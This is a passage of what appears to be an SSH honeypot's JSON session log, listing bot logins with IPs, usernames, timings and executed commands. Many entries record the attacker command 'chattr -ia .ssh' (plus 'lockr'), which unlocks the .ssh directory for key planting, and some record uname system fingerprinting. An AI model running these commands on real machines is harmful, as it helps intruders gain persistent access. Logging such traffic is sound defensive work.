  "src_port": 62787,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:34:16.666214+00:00",
  "ended_at": "2026-08-27T11:34:30.180393+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f4008271-0046-4efb-9787-d756955e2972",
  "name": "boreal-twilight-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 38424,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 758,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:33:58.399131+00:00",
  "ended_at": "2026-08-27T11:33:59.737573+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "ff093cec-f590-4c1c-bd7f-e90971facd80",
  "name": "inland-tender-vulture",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 55966,
  "username": "anu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 349,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:33:52.709062+00:00",
  "ended_at": "2026-08-27T11:33:53.939195+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2057
 },
 {
  "id": "21802301-fd48-4d60-ba5c-a3abf5b01cc8",
  "name": "wandering-proud-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 55984,
  "username": "anu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:42.702220+00:00",
  "ended_at": "2026-08-27T11:33:43.309468+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "69a3a57b-700f-431a-b2fb-1db5513a8f1d",
  "name": "fringed-knotted-tanager",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 55982,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:41.370695+00:00",
  "ended_at": "2026-08-27T11:33:42.048089+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c98a2576-2a1c-4396-91cf-2ea36f5efc6c",
  "name": "hardy-blithe-dotterel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 38446,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:36.548262+00:00",
  "ended_at": "2026-08-27T11:33:38.468775+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6227696f-f72d-4455-b05d-6bf07c9df165",
  "name": "gloomy-lanky-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 49668,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:33:34.784949+00:00",
  "ended_at": "2026-08-27T11:33:36.983931+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2280
 },
 {
  "id": "9de55cc8-b509-4977-acc0-2f5c615d4660",
  "name": "regal-electric-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 38436,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:33.165817+00:00",
  "ended_at": "2026-08-27T11:33:35.091578+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1000f9a7-5a10-4144-8b34-43e7dbc7b374",
  "name": "emerald-regal-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 57586,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:33:13.248082+00:00",
  "ended_at": "2026-08-27T11:33:14.551311+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2117
 },
 {
  "id": "0e52af9b-d46b-4582-9ced-a8b1801e9be4",
  "name": "nameless-regal-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 49682,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:10.265155+00:00",
  "ended_at": "2026-08-27T11:33:11.162532+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f160dc9c-9587-4899-9181-4e81da7c2654",
  "name": "emerald-vigilant-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 49674,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:08.533883+00:00",
  "ended_at": "2026-08-27T11:33:09.750383+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a33b073d-e5b5-4e37-b92a-13b90f60a6ad",
  "name": "blunt-indigo-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57600,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:33:00.577684+00:00",
  "ended_at": "2026-08-27T11:33:02.517894+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "efc61219-6a70-42e2-9b0f-c9740f542228",
  "name": "supple-thrifty-stork",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 57592,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:32:58.307104+00:00",
  "ended_at": "2026-08-27T11:32:59.999582+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "030de59d-01f2-4271-a646-497462f59b23",
  "name": "velvet-barren-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 37188,
  "username": "deployer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 329,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:31:59.093176+00:00",
  "ended_at": "2026-08-27T11:31:59.758305+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2055
 },
 {
  "id": "88a7f256-05e4-4b85-bda5-ef959a57e958",
  "name": "misty-granite-bluebird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 46952,
  "username": "deployer",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:51.230817+00:00",
  "ended_at": "2026-08-27T11:31:52.307879+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08c1f23a-db2c-4621-aca2-db71ff9f4baa",
  "name": "fleeting-foggy-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59086,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 463,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:31:49.000113+00:00",
  "ended_at": "2026-08-27T11:31:50.368150+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2249
 },
 {
  "id": "60d732a3-7454-40c0-aab0-f64714cc3ace",
  "name": "stoic-blazing-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37202,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:48.828844+00:00",
  "ended_at": "2026-08-27T11:31:50.543061+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3ed84bb1-120d-46aa-8e06-a66eae36dbb3",
  "name": "patient-calm-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 55448,
  "username": "sysop",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:31:40.849882+00:00",
  "ended_at": "2026-08-27T11:31:43.052074+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2213
 },
 {
  "id": "6679c591-0e10-4d02-bf56-2312c484816e",
  "name": "seaward-russet-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 46818,
  "username": "noc",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 191,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:31:35.096957+00:00",
  "ended_at": "2026-08-27T11:31:35.192870+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "8f9d1178-e66e-431c-9767-cc7e853b59c2",
  "name": "russet-rustic-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59096,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:32.354875+00:00",
  "ended_at": "2026-08-27T11:31:33.561608+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5c7b91d6-99b2-40cc-b54a-49459c292eea",
  "name": "lunar-jovial-impala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59088,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:29.979657+00:00",
  "ended_at": "2026-08-27T11:31:31.473824+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3d8d1183-b05f-4bd5-9935-17ca29b6df2c",
  "name": "quiet-alpine-swallow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55460,
  "username": "sysop",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:13.861421+00:00",
  "ended_at": "2026-08-27T11:31:15.541831+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b1a4d01e-b56f-4abf-8a54-0c0476c99b48",
  "name": "merry-blazing-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 55458,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:11.881209+00:00",
  "ended_at": "2026-08-27T11:31:13.347816+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "439ccd49-b4b1-4e21-8cc7-4c818ee8528b",
  "name": "loyal-vernal-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 59900,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 770,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:31:08.661148+00:00",
  "ended_at": "2026-08-27T11:31:10.206764+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2234
 },
 {
  "id": "05ba90af-81c7-4248-812c-218af65de5d7",
  "name": "rambling-kindly-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 54726,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 300,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:31:08.652883+00:00",
  "ended_at": "2026-08-27T11:31:09.337804+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2106
 },
 {
  "id": "11960049-fa9f-4335-8f37-0819ef80d3a8",
  "name": "sleepy-icy-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 54750,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:31:01.296865+00:00",
  "ended_at": "2026-08-27T11:31:02.379085+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "94ad2b72-55ba-474e-8fef-811ea28f63bc",
  "name": "languid-dapper-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 54734,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:30:59.202551+00:00",
  "ended_at": "2026-08-27T11:31:00.694143+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d60ab65b-fe38-4467-af6a-f36abc0363e5",
  "name": "thawing-curious-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 59928,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:30:45.393696+00:00",
  "ended_at": "2026-08-27T11:30:47.218048+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f060a63-848e-45fc-a816-938ed6e826b4",
  "name": "wandering-foggy-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 59916,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:30:42.432629+00:00",
  "ended_at": "2026-08-27T11:30:43.942572+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "75e0d1c1-2119-4298-b11c-7305bd833462",
  "name": "barren-western-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 55158,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 350,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:29:53.805813+00:00",
  "ended_at": "2026-08-27T11:29:54.454812+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2095
 },
 {
  "id": "9e1487d8-6c72-4cd5-b38b-ab3b0b56c53e",
  "name": "sullen-faded-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 55164,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:29:45.013165+00:00",
  "ended_at": "2026-08-27T11:29:46.307131+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "535ecacb-756d-45b5-a853-aaa019545408",
  "name": "peaty-rapid-jackdaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 55162,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:29:42.447312+00:00",
  "ended_at": "2026-08-27T11:29:44.352184+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4112604a-250e-44d3-9f97-5af87a43efea",
  "name": "golden-ivory-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 45946,
  "username": "dmp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:29:39.321131+00:00",
  "ended_at": "2026-08-27T11:29:40.409917+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2206
 },
 {
  "id": "62f37105-1d44-44e7-bb2a-7dbaf3dddc53",
  "name": "sullen-electric-yak",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 45970,
  "username": "dmp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:29:15.465347+00:00",
  "ended_at": "2026-08-27T11:29:17.325600+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4414fb52-234b-4d15-8b1d-8568bbbfe925",
  "name": "brave-russet-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 45962,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:29:14.264122+00:00",
  "ended_at": "2026-08-27T11:29:14.935137+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7338cb8b-e99c-4638-9e23-187ab0939eab",
  "name": "northern-granite-heron",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 47946,
  "username": "yf",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 293,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:28:57.550615+00:00",
  "ended_at": "2026-08-27T11:28:58.161223+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2032
 },
 {
  "id": "21e6d30b-88fb-4bb2-b82f-051f6e4f2907",
  "name": "meadow-humble-barbet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59058,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 458,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:28:52.029580+00:00",
  "ended_at": "2026-08-27T11:28:53.124626+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2238
 },
 {
  "id": "e93c504c-02f8-4f14-9a11-cde45d9acd15",
  "name": "jolly-kindly-tamarin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 47954,
  "username": "yf",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:28:49.564318+00:00",
  "ended_at": "2026-08-27T11:28:51.438566+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "64b1c23f-d8ed-4df4-96a3-3dd44636bad1",
  "name": "sturdy-shifting-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 47950,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:28:48.015673+00:00",
  "ended_at": "2026-08-27T11:28:48.979054+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "82e214a8-fdbe-4a94-8180-2ca8a6ed381c",
  "name": "solar-sandy-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 57718,
  "username": "beam",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T11:28:44.575780+00:00",
  "ended_at": "2026-08-27T11:28:44.674055+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "ab531963-68d1-403f-a77c-563c48c2355b",
  "name": "smoky-spirited-dormouse",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59080,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:28:34.785282+00:00",
  "ended_at": "2026-08-27T11:28:35.990120+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d7bbd25d-b920-4b5e-9f47-34996f672683",
  "name": "snowy-dappled-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59074,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:28:32.009569+00:00",
  "ended_at": "2026-08-27T11:28:33.871801+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a705bec3-cd3b-4e7e-8f91-ab00f2b4ef8a",
  "name": "salty-hazy-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 47314,
  "username": "suhail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 762,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:28:11.670538+00:00",
  "ended_at": "2026-08-27T11:28:12.932115+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2174
 },
 {
  "id": "84dec3a1-820a-412e-a3d0-69216434b11d",
  "name": "autumn-golden-caribou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 49828,
  "username": "suhail",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:27:49.206844+00:00",
  "ended_at": "2026-08-27T11:27:50.451577+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f39bce6a-8a36-4d5d-952a-2244c378823a",
  "name": "mellow-daring-plover",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 47324,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:27:46.437579+00:00",
  "ended_at": "2026-08-27T11:27:47.700575+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9045f81a-9116-4ae4-a163-1edf5f52e5a7",
  "name": "foggy-crimson-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 47924,
  "username": "elasticsearch",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 264,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T11:27:39.747860+00:00",
  "ended_at": "2026-08-27T11:27:40.968013+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2229
 },
 {
  "id": "58bf3661-251f-4afc-8f03-23eeb6749c02",
  "name": "earnest-amiable-shearwater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 43844,
  "username": "elasticsearch",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:27:17.612478+00:00",
  "ended_at": "2026-08-27T11:27:19.027888+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65feb5e2-28ee-493e-963e-03cd4cadf521",
  "name": "gallant-shifting-capuchin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 47934,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:27:15.263910+00:00",
  "ended_at": "2026-08-27T11:27:17.092262+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4d7d245a-9145-438f-8b8a-e27f078306ed",
  "name": "distant-balmy-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 57984,
  "username": "danny",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T11:26:21.314547+00:00",
  "ended_at": "2026-08-27T11:26:22.563901+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6b51dd0-0841-4892-9530-919ad3905d4e",
  "name": "coastal-noble-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59022,
  "username": "gitlab",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 457,
  "probe_flagged": 0,
